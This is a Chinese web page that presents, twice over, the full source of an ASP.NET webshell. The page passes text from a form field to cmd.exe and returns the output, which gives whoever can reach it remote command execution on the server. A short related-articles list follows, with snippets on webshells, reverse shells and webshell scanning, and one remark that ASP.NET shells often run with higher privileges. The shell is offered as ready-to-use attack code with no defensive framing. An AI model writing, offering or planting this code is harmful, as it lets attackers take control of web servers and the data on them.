一个ASP.Net下的WebShell实例
更新时间:2021年9月22日 10:14 点击:1556
代码如下:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text;
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write("<pre>");
Response.Write(strOutput);
Response.Write("</pre>");
}
protected void Page_Load(object sender, EventArgs e)
{
}
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>
复制代码 代码如下:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text;
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);
p.StandardInput.WriteLine("exit");
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write("<pre>");
Response.Write(strOutput);
Response.Write("</pre>");
}
protected void Page_Load(object sender, EventArgs e)
{
}
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>
相关文章
- webshell对于我们站长来讲肯定听到比较多了,我们网站可能经常被人使用期webshell方式注入一些东西了,下面一起来看一个php webshell下直接反弹shell的例子,具体如下。...2016-11-25
- 这篇文章主要介绍了Webshell基础知识深入讲解,有对于shell和对于服务器感兴趣的同学可以跟着小编一起来研究下...2021-03-05
- webshell大家都懂就是网站注入了,对于webshell我们有万千不同的方式了,今天来看最短的webshell引起的一些深思。 The shortest webshell of PHP 某天闲逛wooyun,发现...2016-11-25
- nginx虚拟主机防webshell完美版,使用nginx的朋友可以参考下。...2016-01-27
- import os import sys import re import time def listdir(dirs,liston='0'): flog = open(os.getcwd()+"/check_php教程_shell.log","a+") if not os.p...2016-11-25
- 本文章来给大家介绍一个php webshell扫描后门木马实例程序,这个可以扫描你网站上的木马程序哦,这个给大家找网站木马提供了很大的方便,有需要的朋友可参考。 ...2016-11-25
- 我们知道,匿名访问web使用系统中的“IUSR_主机名”这个用户,只要限制了这个用户的读取权限,即能限制访问者遍历服务器目录,保护服务器数据不被非法访问...2016-01-27
- 一个ASP.Net下的WebShell,主要完成cmd命令。一般的服务器设置,asp.net用户的权限都比较高。如果asp的webshell无法执行,可能asp.net的可以执行。...2021-09-22